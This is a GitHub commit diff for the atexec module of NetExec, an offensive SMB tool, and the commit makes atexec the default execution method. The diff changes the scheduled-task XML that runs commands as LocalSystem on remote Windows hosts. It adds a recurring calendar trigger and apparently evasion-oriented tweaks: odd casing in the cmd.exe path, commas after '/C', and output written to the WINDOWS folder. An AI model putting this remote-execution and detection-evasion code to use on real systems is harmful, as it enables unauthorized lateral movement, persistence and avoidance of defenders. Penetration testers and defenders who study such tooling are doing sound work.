Skip to content

Commit

Permalink
customize atexec and make it as default method
Browse files Browse the repository at this point in the history
  • Loading branch information
shivaaz-fr committed Dec 9, 2024
1 parent 7a1e2c6 commit 3945b65
Show file tree
Hide file tree
Showing 2 changed files with 13 additions and 9 deletions.
20 changes: 12 additions & 8 deletions nxc/protocols/smb/atexec.py
Original file line number Diff line number Diff line change
Expand Up @@ -72,9 +72,13 @@ def gen_xml(self, command, fileless=False):
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<RegistrationTrigger>
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
</RegistrationTrigger>
<CalendarTrigger>
<StartBoundary>2024-09-29T10:12:18.1178577</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>3</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
Expand Down Expand Up @@ -102,18 +106,18 @@ def gen_xml(self, command, fileless=False):
</Settings>
<Actions Context="LocalSystem">
<Exec>
<Command>cmd.exe</Command>
<Command>%WINDIR%\SyStem32\cmd.exe, </Command>
"""
if self.__retOutput:
self.__output_filename = "\\Windows\\Temp\\" + gen_random_string(6)
self.__output_filename = "\\WINDOWS\\" + gen_random_string(8)
if fileless:
local_ip = self.__rpctransport.get_socket().getsockname()[0]
argument_xml = f" <Arguments>/C {command} &gt; \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2&gt;&amp;1</Arguments>"
argument_xml = f" <Arguments>/C, {command} &gt; \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2&gt;&amp;1</Arguments>"
else:
argument_xml = f" <Arguments>/C {command} &gt; {self.__output_filename} 2&gt;&amp;1</Arguments>"
argument_xml = f" <Arguments>/C, {command} &gt; {self.__output_filename} 2&gt;&amp;1</Arguments>"

elif self.__retOutput is False:
argument_xml = f" <Arguments>/C {command}</Arguments>"
argument_xml = f" <Arguments>/C, {command}</Arguments>"

self.logger.debug("Generated argument XML: " + argument_xml)
xml += argument_xml
Expand Down
2 changes: 1 addition & 1 deletion nxc/protocols/smb/proto_args.py
Original file line number Diff line number Diff line change
Expand Up @@ -71,7 +71,7 @@ def proto_args(parser, parents):
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")

cmd_exec_group = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode", action=DefaultTrackingAction)
cmd_exec_group.add_argument("--exec-method", choices={"atexec", "mmcexec", "smbexec", "wmiexec"}, default="atexec", help="method to execute the command. Ignored if in MSSQL mode", action=DefaultTrackingAction)
cmd_exec_group.add_argument("--dcom-timeout", help="DCOM connection timeout", type=int, default=5)
cmd_exec_group.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results", type=int, default=10)
cmd_exec_group.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
Expand Down

0 comments on commit 3945b65

Please sign in to comment.